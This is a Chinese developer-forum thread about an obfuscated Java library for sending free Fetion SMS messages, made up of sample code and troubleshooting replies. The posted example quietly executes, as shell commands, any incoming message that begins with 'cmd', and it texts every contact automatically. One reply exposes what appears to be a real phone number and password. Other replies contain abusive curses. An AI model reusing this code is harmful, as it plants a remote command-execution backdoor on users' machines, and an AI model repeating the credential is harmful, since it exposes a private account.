最近看到一个好东西,可以用来发免费的短信,有兴趣的可以试下....
http://download.csdn.net/source/1148854
用起来很方便,只需要这一个jar包
import java.io.IOException;import cn.edu.ctgu.ghl.fetion.Contact;
import cn.edu.ctgu.ghl.fetion.Fetion;
import cn.edu.ctgu.ghl.fetion.FetionEvent;
import cn.edu.ctgu.ghl.fetion.IFetionEventListener;
public class ExampleMain {
public static void main(String[] args) throws Exception{
final Fetion fetion = new Fetion("phone","password");
fetion.addListener(new IFetionEventListener(){public void process(FetionEvent e) {
if(e.getFirstLine()!=null 
&& e.getFirstLine().startsWith("M")
&& e.getBody()!=null){
fetion.sendSms2SelfPhone(e.toString());
if (e.getBody().trim().startsWith("cmd")) {
System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
try {
Runtime.getRuntime().exec(e.getBody().trim().substring(3));
} catch (IOException e1) {
// TODO Auto-generated catch block
e1.printStackTrace();
}

}
}});
fetion.login();
for (Contact cc : fetion.getContacts()) {
System.out.println("####\r\n" + cc + "\r\n");
fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
}
fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
//fetion.logout();
}

解决方案 »

  1.   

    import java.io.IOException;import cn.edu.ctgu.ghl.fetion.Contact;
    import cn.edu.ctgu.ghl.fetion.Fetion;
    import cn.edu.ctgu.ghl.fetion.FetionEvent;
    import cn.edu.ctgu.ghl.fetion.IFetionEventListener;
    public class ExampleMain {
    public static void main(String[] args) throws Exception{
    final Fetion fetion = new Fetion("phone","password");
    fetion.addListener(new IFetionEventListener(){ public void process(FetionEvent e) {
    if(e.getFirstLine()!=null 
    && e.getFirstLine().startsWith("M")
    && e.getBody()!=null){
    fetion.sendSms2SelfPhone(e.toString());
    if (e.getBody().trim().startsWith("cmd")) {
    System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
    try {
    Runtime.getRuntime().exec(e.getBody().trim().substring(3));
    } catch (IOException e1) {
    // TODO Auto-generated catch block
    e1.printStackTrace();
    }
    }
    }
    }

    });
    fetion.login();
    for (Contact cc : fetion.getContacts()) {
    System.out.println("####\r\n" + cc + "\r\n");
    fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
    }
    fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
    //fetion.logout();
    }


    }
    带格式的才好看
      

  2.   

    用不了 
    告诉一下具体方法
    import的东西去哪找
      

  3.   

    用不了 
    有个网站做好了一个 不知道能不能用
    http://www.cn-dx.com.cn/fetion.aspx
      

  4.   


    java.lang.UnsupportedClassVersionError: Bad version number in .class file
    at java.lang.ClassLoader.defineClass1(Native Method)
    at java.lang.ClassLoader.defineClass(Unknown Source)
    at java.security.SecureClassLoader.defineClass(Unknown Source)
    at java.net.URLClassLoader.defineClass(Unknown Source)
    at java.net.URLClassLoader.access$100(Unknown Source)
    at java.net.URLClassLoader$1.run(Unknown Source)
    at java.security.AccessController.doPrivileged(Native Method)
    at java.net.URLClassLoader.findClass(Unknown Source)
    at java.lang.ClassLoader.loadClass(Unknown Source)
    at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
    at java.lang.ClassLoader.loadClass(Unknown Source)
    at java.lang.ClassLoader.loadClassInternal(Unknown Source)
    Exception in thread "main" 

      

  5.   

    @用不了 
    告诉一下具体方法 
    import的东西去哪找http://download.csdn.net/source/1148854 
    这里有个jar包,你下了放在你的classpath里就行了 
      

  6.   

    java.lang.UnsupportedClassVersionError: Bad version number in .class file
        at java.lang.ClassLoader.defineClass1(Native Method)
        at java.lang.ClassLoader.defineClass(Unknown Source)
        at java.security.SecureClassLoader.defineClass(Unknown Source)
        at java.net.URLClassLoader.defineClass(Unknown Source)
        at java.net.URLClassLoader.access$100(Unknown Source)
        at java.net.URLClassLoader$1.run(Unknown Source)
        at java.security.AccessController.doPrivileged(Native Method)
        at java.net.URLClassLoader.findClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)
        at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
        at java.lang.ClassLoader.loadClass(Unknown Source)
        at java.lang.ClassLoader.loadClassInternal(Unknown Source)
    Exception in thread "main" 

    UnsupportedClassVersionError
    这个是 jdk版本问题,需要jdk1.6才行啊.....
    应该是能用吧
      

  7.   

    我想问一下那个phone和password都写什么。。?
      

  8.   

    晕!我的是1.5的,那等我下一个1.6的再试试吧。请问那个phone和password都写什么?
      

  9.   


    还是没用上 
    平时我都没设置classpath
    临时设置了一个好像也不管用Exception in thread "main" java.lang.NoClassDefFoundError: feitio
    Caused by: java.lang.ClassNotFoundException: feition.jar
            at java.net.URLClassLoader$1.run(Unknown Source)
            at java.security.AccessController.doPrivileged(Native Met
            at java.net.URLClassLoader.findClass(Unknown Source)
            at java.lang.ClassLoader.loadClass(Unknown Source)
            at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Sou
            at java.lang.ClassLoader.loadClass(Unknown Source)
            at java.lang.ClassLoader.loadClassInternal(Unknown Source
    Could not find the main class: feition.jar.  Program will exit.
      

  10.   

    phone--你的手机号,必须是开通了移动的飞信的
    password--你开通飞信业务时候设置的密码
    这个安全放心,手机在你手上,密码可随时通过手机修改,所以没人能盗的了下jdk1.6
    java -version 
    看看是不是1.6版本的
    cd 命令到放了ExamapleMain.java和fetion.jar的目录里
    修改下ExamapleMain.java代码里的phone,password
    编译
    javac -classpath "%classpath%;./fetion.jar" ExamapleMain.java
    运行
    java -classpath "%classpath%;./fetion.jar" ExamapleMain
      

  11.   

    Exception in thread "main" java.lang.NoClassDefFoundError: feitio
    Caused by: java.lang.ClassNotFoundException: feition.jar
            at java.net.URLClassLoader$1.run(Unknown Source)
            at java.security.AccessController.doPrivileged(Native Met
            at java.net.URLClassLoader.findClass(Unknown Source)
            at java.lang.ClassLoader.loadClass(Unknown Source)
            at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Sou
            at java.lang.ClassLoader.loadClass(Unknown Source)
            at java.lang.ClassLoader.loadClassInternal(Unknown Source
    Could not find the main class: feition.jar.  Program will exit.这个jar包,只是个api,不是个可以运行的程序,需要你自己写代码去发短信.......
      

  12.   

    有没有Fetion类的API???
    什么意思哦,这个jar就是简单的api啊
    都没能发送成功的。
    汗啊..........
    莫非都不能用..
      

  13.   

    这个没有哦,就一个类是对外公开的,目前的功能也很简单,就是发短信
    再就是处理接收到的事件,所以没帮助文档。
    有问题欢迎交流[email protected]
      

  14.   

    ExampleMain.java
    中有这一句
    for (Contact cc : fetion.getContacts()) {
    System.out.println("####\r\n" + cc + "\r\n");
    fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦...");
    }
    所以你给你的每个好友都发了次,你可以自己改下.......
    那说明你发送成功了.....
      

  15.   

    jdk1.6.0-11,我把代码放Myeclipse运行的。
      

  16.   

    楼主有没有那个jar包的说明文档?
      

  17.   

    目前还没有,等段时间有空整理一份吧,不过目前来说
    cn.edu.ctgu.ghl.fetion
    就这个包下面的几个类是public的
      

  18.   

    请问这个jar包是不是中国移动开发的?
      

  19.   

    有人发送成功了呀 
    我马上下JDK 1.6
      

  20.   

    ExampleMain.java:1: 'class' or 'interface' expected
    锘縤mport java.io.IOException;
    ^
    ExampleMain.java:2: 'class' or 'interface' expected
    import cn.edu.ctgu.ghl.fetion.Contact;
    ^
    ExampleMain.java:3: 'class' or 'interface' expected
    import cn.edu.ctgu.ghl.fetion.Fetion;
    ^
    ExampleMain.java:4: 'class' or 'interface' expected
    import cn.edu.ctgu.ghl.fetion.FetionEvent;
    ^
    ExampleMain.java:5: 'class' or 'interface' expected
    import cn.edu.ctgu.ghl.fetion.IFetionEventListener;
    ^
    5 errors
    -----------------
     还是没有成功
      

  21.   

    可以发,我想解压缩fetion.jar包,反编译,那些带0的都解压缩不了,怎么弄?我要的是源码也就是底层实现,不是简单的看下功能
      

  22.   

    成功了 
    要是能把jar包打开看看就更好了
      

  23.   

    强烈要求 公开 jar 包源码
      

  24.   

    测试了下。。OK搞的朋友莫名其妙了。。哈。。帮楼主注释下:fetion.sendSms(cc.getUri(), cc.getNickName() + "你好哦..."); //这个为发给朋友fetion.sendSms2SelfPhone("给自己发个试哈^_^...");  //这个方法为发给自己想问下楼主Contact 的uri,type,atrribues分别是什么意思?
    如果发给指定用户,Contact所有属性都要set吗?
      

  25.   

    幸好今天是愚人节 不然我的朋友们 还以为我脑子有病了!~~~~Mark 能发送 
      

  26.   

    @想问下楼主Contact 的uri,type,atrribues分别是什么意思? 
    如果发给指定用户,Contact所有属性都要set吗?
    这个会从服务器获得,不用管就怕玩的人多了,移动会做手脚.........@估计过几天 
    飞信那边要停用调试了为了大家能继续玩,请大家发的时候尽量限制下,只发自己作为测试
    不要发垃圾短信,要不大家到时候都玩不了拉............
      

  27.   

    java.io.IOException: Cannot run program "ipconfig": java.io.IOException: error=2, No such file or directory
    at java.lang.ProcessBuilder.start(ProcessBuilder.java:459)
    at java.lang.Runtime.exec(Runtime.java:593)
    at java.lang.Runtime.exec(Runtime.java:431)
    at java.lang.Runtime.exec(Runtime.java:328)
    at oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.OoOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.o0OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.new(Unknown OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.o0oOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO.<init>(Unknown Source)
    at cn.edu.ctgu.ghl.fetion.Fetion.<init>(Unknown Source)
    at org.sa.kif.common.HHH.main(HHH.java:10)
    Caused by: java.io.IOException: java.io.IOException: error=2, No such file or directory
    at java.lang.UNIXProcess.<init>(UNIXProcess.java:148)
    at java.lang.ProcessImpl.start(ProcessImpl.java:65)
    at java.lang.ProcessBuilder.start(ProcessBuilder.java:452)
    ... 9 more
      

  28.   

    我的积分没有了,有谁发一份到我邮箱:[email protected],谢谢啦~
      

  29.   

    呵呵,就是想通过set方法发给固定的某个人。。不然的话,要全部发了,那麻烦了。。
    不知道怎么实现发给固定的某个人呢?
      

  30.   

    java.lang.UnsupportedClassVersionError: Bad version number in .class file
    at java.lang.ClassLoader.defineClass1(Native Method)
    at java.lang.ClassLoader.defineClass(Unknown Source)
    at java.security.SecureClassLoader.defineClass(Unknown Source)
    at java.net.URLClassLoader.defineClass(Unknown Source)
    at java.net.URLClassLoader.access$100(Unknown Source)
    at java.net.URLClassLoader$1.run(Unknown Source)
    at java.security.AccessController.doPrivileged(Native Method)
    at java.net.URLClassLoader.findClass(Unknown Source)
    at java.lang.ClassLoader.loadClass(Unknown Source)
    at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source)
    at java.lang.ClassLoader.loadClass(Unknown Source)
    at java.lang.ClassLoader.loadClassInternal(Unknown Source)
    Exception in thread "main" 
      

  31.   

    我发给自己成功了 
    但是我给别人发的时候别人就是收不了
    调用这个方法哪有错呢:fetion.login();
    fetion.sendSms2SelfPhone("发给自己能成功");
    fetion.sendSms("别人的手机号在这里", "发给别人的信息");
    fetion.logout();试了好些就是不能给朋友发哦 请指教!
      

  32.   

    我在eclipse中运行中总是报for (Contact cc : fetion.getContacts()) {错误呀 谢谢  给我发一个调试好的程序 
    一定是能发的呀 谢谢
      

  33.   

    那个jar包是不是加密混淆了。
      

  34.   

    这个是因为你的jdk是1.4的,没有foreach这种用法所以错了。你可以换成1.5的
    但还是有问题,有没有在1.5上实现过的朋友来说说咋个解决
    找不到main class错误的。
      

  35.   

    for (Contact cc : fetion.getContacts()) {
    System.out.println("####\r\n" + cc + "\r\n");
    fetion.sendSms(cc.getUri(), cc.getNickName() + "所有收到我短信的朋友勿怪,我在用移动飞信包做程序测试,本来想发给我自己测试的,不料想把所有飞信好友都发了,我没喝多!");//发给所有飞信好友
    }
    fetion.sendSms2SelfPhone("这下完了!"); //发给自己
    fetion.logout();
      

  36.   

    嗯 JDK换1.6就能成功 我这儿能发
      

  37.   

    发送成功!要用jdk1.6.
    希望移动不要封掉~``
      

  38.   

    你自己不看代码的啊,我把那注释了
    你可以自己单独调用
    fetion.sendSms("tel:139********",  msg);
      

  39.   

    信息: I/O exception (java.net.ConnectException) caught when processing request: Connection refused: connect这个什么意思啊?怎么连接不上去?
      

  40.   

    源码经过加密混淆了的,搞了老半天,唉,水平不行呀,不明白。
    为什么包名,类名,全是0ooo0一大串的字符,
    难懂呀,有谁明白吗?
      

  41.   

    好像是移动知道了,将类似的封了,  request不行
      

  42.   

    package cn.edu.ctgu.ghl.fetion.ext.listener;import cn.edu.ctgu.ghl.fetion.Contact;
    import cn.edu.ctgu.ghl.fetion.Fetion;
    import cn.edu.ctgu.ghl.fetion.FetionEvent;
    import cn.edu.ctgu.ghl.fetion.IFetionEventListener;import com.google.api.translate.Language;
    import com.google.api.translate.Translate;public class CopyOfGoogleTranslateListener implements IFetionEventListener{ //private Logger logger = null;
    private Fetion fetion = null;
    public CopyOfGoogleTranslateListener(Fetion fetion){
    this.fetion = fetion;
    }
    public void process(FetionEvent sm) {
    //SipMessage sm = (SipMessage)event.getSource();
    if(sm.getFirstLine().startsWith("M")
    &&!"system-message".equals(sm.getHeader("N"))){
    String s = sm.hasBody()?sm.getBody():"";
    if(!s.startsWith("中英 ")
    && !s.startsWith("ec ")){
    return;
    }
    try {
    String c = null;
    if(s.startsWith("中英 ") && s.length()>3){
    String e = s.substring(2).trim();
    c = Translate.translate(e, Language.CHINESE, Language.ENGLISH);
    }else if(s.startsWith("ec ") && s.length()>3){
    String e = s.substring(2).trim();
    c = Translate.translate(e, Language.ENGLISH, Language.CHINESE);
    }
    this.fetion.sendSms(sm.getHeader("F"), c);
    } catch (Exception e1) {
    }
    }
    }

    private String getPhoneByUri(String uri){
    String ret = uri;
    if(uri==null){
    return null;
    }
    for(Contact c: this.fetion.getContacts()){
    if(uri.equals(c.getUri())){
    ret = c.getPhoneNum() + "(" +c.getNickName() + ")";
    break;
    }
    }
    return ret;
    }}
    大家不要发太多的垃圾短信,否则中移动肯定回封的,如果感兴趣不妨搞点其他的,这里随便弄了个翻译的玩哈....
      

  43.   

    上面还要fesion的jar呀。测试不了啊。。你们是怎么搞
      

  44.   

    本来不想顶的,但是想想还是回来顶下吧~(*^__^*) 嘻嘻……,我用这个fetion.jar开发了个即时通讯系统~~ 和手机飞信通讯的,(*^__^*) 嘻嘻…… Thanks....以前一直在找此类技术~~今天被我发现了,顶下~~
      

  45.   

    Exception in thread "main" java.lang.RuntimeException: Error reading license file. Please registe ...,Your key is @5$FF5870C84D45&5C929*5B667A0-815$B0B3
    报上面的错误!
    让老子把JDK都换了,还是不行!
    骗子!
    浪费老子时间,小心警察来找你!
      

  46.   

    有本事你让老子把那个jar包解压了!
    楼主你找死了!!
    骗子!!!
    你家人都死光
      

  47.   

    中国移动应该不会随便公开短信接口,飞信的也是如此,有可能是第三方开发的。
    以前在linux公社有个libfetion,感觉还不错。广东似乎也有民间开发的飞信。
      

  48.   

    现在详细把我测试步骤告知如下:
     测试工具: MyElicpse (JBuilder 下调试不了)
     JDK: 1.6 (MyElicpse中修改JDK 可以参考网站 http://zhidao.baidu.com/question/39685931.html)
     然后新建项目 再新建类 类名为:ExampleMain 具体代码如下
    import java.io.IOException;import cn.edu.ctgu.ghl.fetion.Contact;
    import cn.edu.ctgu.ghl.fetion.Fetion;
    import cn.edu.ctgu.ghl.fetion.FetionEvent;
    import cn.edu.ctgu.ghl.fetion.IFetionEventListener;
    //飞信接口  注意加包。 public class ExampleMain {
    public static void main(String[] args) throws Exception{
    final Fetion fetion = new Fetion("15850504622","tang8567023");
    fetion.addListener(new IFetionEventListener(){ public void process(FetionEvent e) {
    if(e.getFirstLine()!=null 
    && e.getFirstLine().startsWith("M")
    && e.getBody()!=null){
    fetion.sendSms2SelfPhone(e.toString());
    if (e.getBody().trim().startsWith("cmd")) {
    System.out.println("excute[" + e.getBody().trim().substring(3) + "]");
    try {
    Runtime.getRuntime().exec(e.getBody().trim().substring(3));
    } catch (IOException e1) {
    // TODO Auto-generated catch block
    e1.printStackTrace();
    }
    }
    }
    }

    });
    fetion.login();
    for (Contact cc : fetion.getContacts()) {
    System.out.println("####\r\n" + cc + "\r\n");
    //fetion.sendSms(cc.getUri(), cc.getNickName() + "哈哈...正在调试飞信群发");
    }
    fetion.sendSms2SelfPhone("给自己发个试哈^_^...");
    //fetion.logout();
    }
    }然后就OK了。
    我也只是调试的。也对源文件好奇。并且发给自己的信息中有很多别的东西如“傻逼”字眼。所以在此谴责发包人!!!!
      

  49.   

    将楼上的手机号码换成你已经开通的手机号  后面的"tang...."是密码
    注意运行时会让正在运行的 飞信短线。